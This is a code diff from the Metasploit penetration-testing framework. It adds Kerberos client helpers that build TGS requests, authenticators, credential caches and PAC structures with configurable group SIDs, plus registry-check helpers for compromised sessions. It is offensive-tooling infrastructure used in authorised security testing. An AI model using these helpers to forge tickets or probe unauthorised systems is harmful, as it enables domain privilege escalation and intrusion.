end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,48 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Kerberos
|
||||
module Client
|
||||
module Base
|
||||
|
||||
# Builds a kerberos Client Name Principal
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :client_name the client's name
|
||||
# @option opts [Fixnum] :client_type the client's name type
|
||||
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
def build_client_name(opts = {})
|
||||
name = opts[:client_name] || ''
|
||||
name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
||||
|
||||
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
||||
name_type: name_type,
|
||||
name_string: name.split('/')
|
||||
)
|
||||
end
|
||||
|
||||
# Builds a kerberos Server Name Principal
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :server_name the server's name
|
||||
# @option opts [Fixnum] :server_type the server's name type
|
||||
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
def build_server_name(opts = {})
|
||||
name = opts[:server_name] || ''
|
||||
name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
||||
|
||||
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
||||
name_type: name_type,
|
||||
name_string: name.split('/')
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,152 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Kerberos
|
||||
module Client
|
||||
module CacheCredential
|
||||
|
||||
# Builds a MIT Credential Cache
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Array<String>, Rex::Proto::Kerberos::CredentialCache::Principal, Array<Rex::Proto::Kerberos::CredentialCache::Credential>>}]
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Array<String>] :headers
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal
|
||||
# @option opts [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] :credentials
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
||||
def create_cache(opts = {})
|
||||
version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION
|
||||
headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER]
|
||||
primary_principal = opts[:primary_principal] || create_cache_principal(opts)
|
||||
credentials = opts[:credentials] || [create_cache_credential(opts)]
|
||||
|
||||
cache = Rex::Proto::Kerberos::CredentialCache::Cache.new(
|
||||
version: version,
|
||||
headers: headers,
|
||||
primary_principal: primary_principal,
|
||||
credentials: credentials
|
||||
)
|
||||
|
||||
cache
|
||||
end
|
||||
|
||||
# Builds a MIT Credential Cache principal
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>>}>]
|
||||
# @option opts [Fixnum] :name_type
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Array<String>] :components
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Principal]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Principal
|
||||
def create_cache_principal(opts = {})
|
||||
name_type = opts[:name_type] || 0
|
||||
realm = opts[:realm] || ''
|
||||
components = opts[:components] || ['']
|
||||
|
||||
principal = Rex::Proto::Kerberos::CredentialCache::Principal.new(
|
||||
name_type: name_type,
|
||||
realm: realm,
|
||||
components:components
|
||||
)
|
||||
|
||||
principal
|
||||
end
|
||||
|
||||
# Builds a MIT Credential Cache key block
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <Fixnum, String>}>]
|
||||
# @option opts [Fixnum] :key_type
|
||||
# @option opts [Fixnum] :e_type
|
||||
# @option opts [String] :key_value
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::KeyBlock
|
||||
def create_cache_key_block(opts = {})
|
||||
key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
e_type = opts[:e_type] || 0
|
||||
key_value = opts[:key_value] || ''
|
||||
|
||||
key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new(
|
||||
key_type: key_type,
|
||||
e_type: e_type,
|
||||
key_value: key_value
|
||||
)
|
||||
|
||||
key_block
|
||||
end
|
||||
|
||||
# Builds a times structure linked to a credential in a MIT Credential Cache
|
||||
#
|
||||
# @param opts [Hash<{Symbol => Fixnum}>]
|
||||
# @option opts [Fixnum] auth_time
|
||||
# @option opts [Fixnum] start_time
|
||||
# @option opts [Fixnum] end_time
|
||||
# @option opts [Fixnum] renew_till
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Time]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Time
|
||||
def create_cache_times(opts = {})
|
||||
auth_time = opts[:auth_time] || 0
|
||||
start_time = opts[:start_time] || 0
|
||||
end_time = opts[:end_time] || 0
|
||||
renew_till = opts[:renew_till] || 0
|
||||
|
||||
time = Rex::Proto::Kerberos::CredentialCache::Time.new(
|
||||
auth_time: auth_time.to_i,
|
||||
start_time: start_time.to_i,
|
||||
end_time: end_time.to_i,
|
||||
renew_till: renew_till.to_i
|
||||
)
|
||||
|
||||
time
|
||||
end
|
||||
|
||||
# Builds a MIT Credential Cache credential
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <>}>]
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time
|
||||
# @option opts [Fixnum] is_key
|
||||
# @option opts [Fixnum] flags
|
||||
# @option opts [Array] addrs
|
||||
# @option opts [Array] auth_data
|
||||
# @option opts [String] ticket
|
||||
# @option opts [String] second_ticket
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Credential]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Credential
|
||||
def create_cache_credential(opts = {})
|
||||
client = opts[:client] || create_cache_principal(opts)
|
||||
server = opts[:server] || create_cache_principal(opts)
|
||||
key = opts[:key] || create_cache_key_block(opts)
|
||||
time = opts[:time] || create_cache_times(opts)
|
||||
is_skey = opts[:is_skey] || 0
|
||||
tkt_flags = opts[:flags] || 0
|
||||
addrs = opts[:addrs] || []
|
||||
auth_data = opts[:auth_data] || []
|
||||
ticket = opts[:ticket] || ''
|
||||
second_ticket = opts[:second_ticket] || ''
|
||||
|
||||
cred = Rex::Proto::Kerberos::CredentialCache::Credential.new(
|
||||
client: client,
|
||||
server: server,
|
||||
key: key,
|
||||
time: time,
|
||||
is_skey: is_skey,
|
||||
tkt_flags:tkt_flags,
|
||||
addrs: addrs,
|
||||
auth_data: auth_data,
|
||||
ticket: ticket,
|
||||
second_ticket: second_ticket
|
||||
)
|
||||
|
||||
cred
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,114 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Kerberos
|
||||
module Client
|
||||
module Pac
|
||||
|
||||
# Builds a kerberos PA-PAC-REQUEST pre authenticated structure
|
||||
#
|
||||
# @param opts [Hash{Symbol => Boolean}]
|
||||
# @option opts [Boolean] :pac_request_value
|
||||
# @return [Rex::Proto::Kerberos::Model::Field::PreAuthData]
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthPacRequest
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||
def build_pa_pac_request(opts = {})
|
||||
value = opts[:pac_request_value] || false
|
||||
pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
|
||||
pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||
type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST,
|
||||
value: pac_request.encode
|
||||
)
|
||||
|
||||
pa_pac_request
|
||||
end
|
||||
|
||||
# Builds a kerberos PACTYPE structure
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum, Array, Time>}]
|
||||
# @option opts [String] :client_name
|
||||
# @option opts [Fixnum] :user_id the user SID Ex: 1000
|
||||
# @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users'
|
||||
# @option opts [Array<Fixnum>] :group_ids
|
||||
# @option opts [String] :realm
|
||||
# @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
|
||||
# @option opts [Time] :logon_time
|
||||
# @return [Rex::Proto::Kerberos::Pac::Type]
|
||||
# @see Rex::Proto::Kerberos::Pac::LogonInfo
|
||||
# @see Rex::Proto::Kerberos::Pac::ClientInfo
|
||||
# @see Rex::Proto::Kerberos::Pac::ServerChecksum
|
||||
# @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum
|
||||
# @see Rex::Proto::Kerberos::Pac::Type
|
||||
def build_pac(opts = {})
|
||||
user_name = opts[:client_name] || ''
|
||||
user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID
|
||||
primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
|
||||
group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
|
||||
domain_name = opts[:realm] || ''
|
||||
domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
|
||||
logon_time = opts[:logon_time] || Time.now
|
||||
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5
|
||||
|
||||
logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new(
|
||||
logon_time: logon_time,
|
||||
effective_name: user_name,
|
||||
user_id: user_id,
|
||||
primary_group_id: primary_group_id,
|
||||
group_ids: group_ids,
|
||||
logon_domain_name: domain_name,
|
||||
logon_domain_id: domain_id,
|
||||
)
|
||||
|
||||
client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new(
|
||||
client_id: logon_time,
|
||||
name: user_name
|
||||
)
|
||||
|
||||
server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new(
|
||||
checksum: checksum_type
|
||||
)
|
||||
|
||||
priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new(
|
||||
checksum: checksum_type
|
||||
)
|
||||
|
||||
pac_type = Rex::Proto::Kerberos::Pac::Type.new(
|
||||
buffers: [
|
||||
logon_info,
|
||||
client_info,
|
||||
server_checksum,
|
||||
priv_srv_checksum
|
||||
],
|
||||
checksum: checksum_type
|
||||
)
|
||||
|
||||
pac_type
|
||||
end
|
||||
|
||||
# Builds an kerberos AuthorizationData structure containing a PACTYPE
|
||||
#
|
||||
# @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}]
|
||||
# @option opts [Rex::Proto::Kerberos::Pac::Type] :pac
|
||||
# @return [Rex::Proto::Kerberos::Model::AuthorizationData]
|
||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||
def build_pac_authorization_data(opts = {})
|
||||
pac = opts[:pac] || build_pac(opts)
|
||||
|
||||
pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
||||
elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}]
|
||||
)
|
||||
authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
|
||||
elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}]
|
||||
)
|
||||
|
||||
authorization_data
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,277 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Kerberos
|
||||
module Client
|
||||
module TgsRequest
|
||||
|
||||
# Builds the encrypted Kerberos TGS request
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::Element>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator
|
||||
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||
# @raise [RuntimeError] if ticket isn't available
|
||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||
# @see Rex::Proto::Kerberos::Model::Authenticator
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||
# @see Rex::Proto::Kerberos::Model::KdcRequest
|
||||
def build_tgs_request(opts = {})
|
||||
subkey = opts[:subkey] || build_subkey(opts)
|
||||
|
||||
if opts[:enc_auth_data]
|
||||
enc_auth_data = opts[:enc_auth_data]
|
||||
elsif opts[:auth_data]
|
||||
enc_auth_data = build_enc_auth_data(
|
||||
auth_data: opts[:auth_data],
|
||||
subkey: subkey
|
||||
)
|
||||
else
|
||||
enc_auth_data = nil
|
||||
end
|
||||
|
||||
body = build_tgs_request_body(opts.merge(
|
||||
enc_auth_data: enc_auth_data
|
||||
))
|
||||
|
||||
checksum = opts[:checksum] || build_tgs_body_checksum(:body => body)
|
||||
|
||||
if opts[:auhtenticator]
|
||||
authenticator = opts[:authenticator]
|
||||
else
|
||||
authenticator = build_authenticator(opts.merge(
|
||||
subkey: subkey,
|
||||
checksum: checksum
|
||||
))
|
||||
end
|
||||
|
||||
if opts[:ap_req]
|
||||
ap_req = opts[:ap_req]
|
||||
else
|
||||
ap_req = build_ap_req(opts.merge(:authenticator => authenticator))
|
||||
end
|
||||
|
||||
pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||
type: Rex::Proto::Kerberos::Model::PA_TGS_REQ,
|
||||
value: ap_req.encode
|
||||
)
|
||||
|
||||
pa_data = []
|
||||
pa_data.push(pa_ap_req)
|
||||
if opts[:pa_data]
|
||||
opts[:pa_data].each { |pa| pa_data.push(pa) }
|
||||
end
|
||||
|
||||
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
||||
pvno: 5,
|
||||
msg_type: Rex::Proto::Kerberos::Model::TGS_REQ,
|
||||
pa_data: pa_data,
|
||||
req_body: body
|
||||
)
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
# Builds the encrypted TGS authorization data
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::AuthorizationData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptedData]
|
||||
# @raise [RuntimeError] if auth_data option isn't provided
|
||||
# @see Rex::Proto::Kerberos::Model::AuthorizationData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
def build_enc_auth_data(opts = {})
|
||||
auth_data = opts[:auth_data]
|
||||
|
||||
if auth_data.nil?
|
||||
raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data'
|
||||
end
|
||||
|
||||
subkey = opts[:subkey] || build_subkey(opts)
|
||||
|
||||
encrypted = auth_data.encrypt(subkey.type, subkey.value)
|
||||
|
||||
e_data = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||
etype: subkey.type,
|
||||
cipher: encrypted
|
||||
)
|
||||
|
||||
e_data
|
||||
end
|
||||
|
||||
# Builds a KRB_AP_REQ message
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Rex::Proto::Kerberos::Model::Ticket, Rex::Proto::Kerberos::Model::EncryptedData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||
# @option opts [Fixnum] :pvno
|
||||
# @option opts [Fixnum] :msg_type
|
||||
# @option opts [Fixnum] :ap_req_options
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||
# @raise [RuntimeError] if ticket option isn't provided
|
||||
# @see Rex::Proto::Kerberos::Model::Ticket
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
def build_ap_req(opts = {})
|
||||
pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION
|
||||
msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ
|
||||
options = opts[:ap_req_options] || 0
|
||||
ticket = opts[:ticket]
|
||||
authenticator = opts[:authenticator] || build_authenticator(opts)
|
||||
session_key = opts[:session_key] || build_subkey(opts)
|
||||
|
||||
if ticket.nil?
|
||||
raise ::RuntimeError, 'Building a AP-REQ without ticket not supported'
|
||||
end
|
||||
|
||||
enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||
etype: session_key.type,
|
||||
cipher: authenticator.encrypt(session_key.type, session_key.value)
|
||||
)
|
||||
|
||||
ap_req = Rex::Proto::Kerberos::Model::ApReq.new(
|
||||
pvno: pvno,
|
||||
msg_type: msg_type,
|
||||
options: options,
|
||||
ticket: ticket,
|
||||
authenticator: enc_authenticator
|
||||
)
|
||||
|
||||
ap_req
|
||||
end
|
||||
|
||||
# Builds a kerberos authenticator for a TGS request
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::PrincipalName, String, Time, Rex::Proto::Kerberos::Model::EncryptionKey>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Time] :ctime
|
||||
# @option opts [Fixnum] :cusec
|
||||
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
|
||||
# @return [Rex::Proto::Kerberos::Model::Authenticator]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
# @see Rex::Proto::Kerberos::Model::Authenticator
|
||||
def build_authenticator(opts = {})
|
||||
cname = opts[:cname] || build_client_name(opts)
|
||||
realm = opts[:realm] || ''
|
||||
ctime = opts[:ctime] || Time.now
|
||||
cusec = opts[:cusec] || ctime.usec
|
||||
checksum = opts[:checksum] || build_tgs_body_checksum(opts)
|
||||
subkey = opts[:subkey] || build_subkey(opts)
|
||||
|
||||
authenticator = Rex::Proto::Kerberos::Model::Authenticator.new(
|
||||
vno: 5,
|
||||
crealm: realm,
|
||||
cname: cname,
|
||||
checksum: checksum,
|
||||
cusec: cusec,
|
||||
ctime: ctime,
|
||||
subkey: subkey
|
||||
)
|
||||
|
||||
authenticator
|
||||
end
|
||||
|
||||
# Builds an encryption key to protect the data sent in the TGS request.
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}]
|
||||
# @option opts [Fixnum] :subkey_type
|
||||
# @option opts [String] :subkey_value
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
def build_subkey(opts={})
|
||||
subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16)
|
||||
|
||||
subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new(
|
||||
type: subkey_type,
|
||||
value: subkey_value
|
||||
)
|
||||
|
||||
subkey
|
||||
end
|
||||
|
||||
|
||||
# Builds a kerberos TGS request body
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName, Rex::Proto::Kerberos::Model::EncryptedData>}]
|
||||
# @option opts [Fixnum] :options
|
||||
# @option opts [Time] :from
|
||||
# @option opts [Time] :till
|
||||
# @option opts [Time] :rtime
|
||||
# @option opts [Fixnum] :nonce
|
||||
# @option opts [Fixnum] :etype
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
||||
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
||||
def build_tgs_request_body(opts = {})
|
||||
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
||||
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
||||
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
||||
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
||||
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
||||
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
||||
cname = opts[:cname] || build_client_name(opts)
|
||||
realm = opts[:realm] || ''
|
||||
sname = opts[:sname] || build_server_name(opts)
|
||||
enc_auth_data = opts[:enc_auth_data] || nil
|
||||
|
||||
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
||||
options: options,
|
||||
cname: cname,
|
||||
realm: realm,
|
||||
sname: sname,
|
||||
from: from,
|
||||
till: till,
|
||||
rtime: rtime,
|
||||
nonce: nonce,
|
||||
etype: etype,
|
||||
enc_auth_data: enc_auth_data
|
||||
)
|
||||
|
||||
body
|
||||
end
|
||||
|
||||
# Builds a Kerberos TGS Request body checksum
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::KdcRequestBody, Fixnum>}]
|
||||
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
||||
# @return [Rex::Proto::Kerberos::Model::Checksum]
|
||||
# @see #build_tgs_request_body
|
||||
# @see Rex::Proto::Kerberos::Model::Checksum
|
||||
def build_tgs_body_checksum(opts = {})
|
||||
body = opts[:body] || build_tgs_request_body(opts)
|
||||
checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5)
|
||||
checksum = Rex::Proto::Kerberos::Model::Checksum.new(
|
||||
type: 7,
|
||||
checksum: checksum_body
|
||||
)
|
||||
|
||||
checksum
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,78 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module Kerberos
|
||||
module Client
|
||||
module TgsResponse
|
||||
|
||||
# Extracts the Kerberos credentials, buildint a MIT Cache Credential,
|
||||
# from a Kerberos TGS response.
|
||||
#
|
||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @param key [String]
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||
# @see Msf::Kerberos::Client::CacheCredential
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
||||
def extract_kerb_creds(res, key)
|
||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE)
|
||||
enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||
|
||||
client = create_cache_principal(
|
||||
name_type: res.cname.name_type,
|
||||
realm: res.crealm,
|
||||
components: res.cname.name_string
|
||||
)
|
||||
|
||||
server = create_cache_principal(
|
||||
name_type: enc_res.sname.name_type,
|
||||
realm: enc_res.srealm,
|
||||
components: enc_res.sname.name_string
|
||||
)
|
||||
|
||||
key = create_cache_key_block(
|
||||
key_type: enc_res.key.type,
|
||||
key_value: enc_res.key.value
|
||||
)
|
||||
|
||||
times = create_cache_times(
|
||||
auth_time: enc_res.auth_time,
|
||||
start_time: enc_res.start_time,
|
||||
end_time: enc_res.end_time,
|
||||
renew_till: enc_res.renew_till
|
||||
)
|
||||
|
||||
credential = create_cache_credential(
|
||||
client: client,
|
||||
server: server,
|
||||
key: key,
|
||||
time: times,
|
||||
ticket: res.ticket.encode,
|
||||
flags: enc_res.flags
|
||||
)
|
||||
|
||||
cache_principal = create_cache_principal(
|
||||
name_type: res.cname.name_type, # NT_PRINCIPAL
|
||||
#realm: realm,# opts[:realm],
|
||||
realm: res.crealm,
|
||||
#components: user # [opts[:cname]]
|
||||
components: res.cname.name_string
|
||||
)
|
||||
|
||||
cache = create_cache(
|
||||
primary_principal: cache_principal,
|
||||
credentials: [credential]
|
||||
)
|
||||
|
||||
cache
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -105,3 +105,6 @@ require 'msf/core/exploit/android'
|
|||
# Browser Exploit Server
|
||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
||||
require 'msf/core/exploit/browser_autopwn2'
|
||||
|
||||
# Kerberos Support
|
||||
require 'msf/core/exploit/kerberos/client'
|
||||
|
|
|
@ -76,9 +76,12 @@ module Msf::Payload::Windows
|
|||
# info['Alias'] = 'windows/' + info['Alias']
|
||||
#end
|
||||
|
||||
|
||||
acceptable_exit_types = @@exit_types.keys.collect { |e| e.blank? ? "''" : e }.uniq
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', @@exit_types.keys])
|
||||
Msf::OptEnum.new('EXITFUNC', [true, 'Exit technique', 'process', acceptable_exit_types])
|
||||
], Msf::Payload::Windows )
|
||||
ret
|
||||
end
|
||||
|
|
|
@ -145,6 +145,19 @@ module Registry
|
|||
end
|
||||
end
|
||||
|
||||
# Checks if a key exists on the target registry
|
||||
#
|
||||
# @param key [String] the full path of the key to check
|
||||
# @return [Boolean] true if the key exists on the target registry, false otherwise
|
||||
# (also in case of error)
|
||||
def registry_key_exist?(key)
|
||||
if session_has_registry_ext
|
||||
meterpreter_registry_key_exist?(key)
|
||||
else
|
||||
shell_registry_key_exist?(key)
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
@ -310,6 +323,26 @@ protected
|
|||
shell_registry_cmd_result("add /f \"#{key}\" /v \"#{valname}\" /t \"#{type}\" /d \"#{data}\" /f", view)
|
||||
end
|
||||
|
||||
# Checks if a key exists on the target registry using a shell session
|
||||
#
|
||||
# @param key [String] the full path of the key to check
|
||||
# @return [Boolean] true if the key exists on the target registry, false otherwise,
|
||||
# even if case of error (invalid arguments) or the session hasn't permission to
|
||||
# access the key
|
||||
def shell_registry_key_exist?(key)
|
||||
begin
|
||||
key = normalize_key(key)
|
||||
rescue ArgumentError
|
||||
return false
|
||||
end
|
||||
|
||||
results = shell_registry_cmd("query \"#{key}\"")
|
||||
if results =~ /ERROR: /i
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
# Meterpreter-specific registry manipulation methods
|
||||
|
@ -515,6 +548,27 @@ protected
|
|||
end
|
||||
end
|
||||
|
||||
# Checks if a key exists on the target registry using a meterpreter session
|
||||
#
|
||||
# @param key [String] the full path of the key to check
|
||||
# @return [Boolean] true if the key exists on the target registry, false otherwise
|
||||
# (also in case of error)
|
||||
def meterpreter_registry_key_exist?(key)
|
||||
begin
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
rescue ArgumentError
|
||||
return false
|
||||
end
|
||||
|
||||
begin
|
||||
check = session.sys.registry.check_key_exists(root_key, base_key)
|
||||
rescue Rex::Post::Meterpreter::RequestError, TimesoutError
|
||||
return false
|
||||
end
|
||||
|
||||
check
|
||||
end
|
||||
|
||||
#
|
||||
# Normalize the supplied full registry key string so the root key is sane. For
|
||||
# instance, passing "HKLM\Software\Dog" will return 'HKEY_LOCAL_MACHINE\Software\Dog'
|
||||
|
|
|
@ -30,7 +30,7 @@ class RPC_Core < RPC_Base
|
|||
end
|
||||
|
||||
|
||||
# Returns a global datstore option.
|
||||
# Returns a global datastore option.
|
||||
#
|
||||
# @param [String] var The name of the global datastore.
|
||||
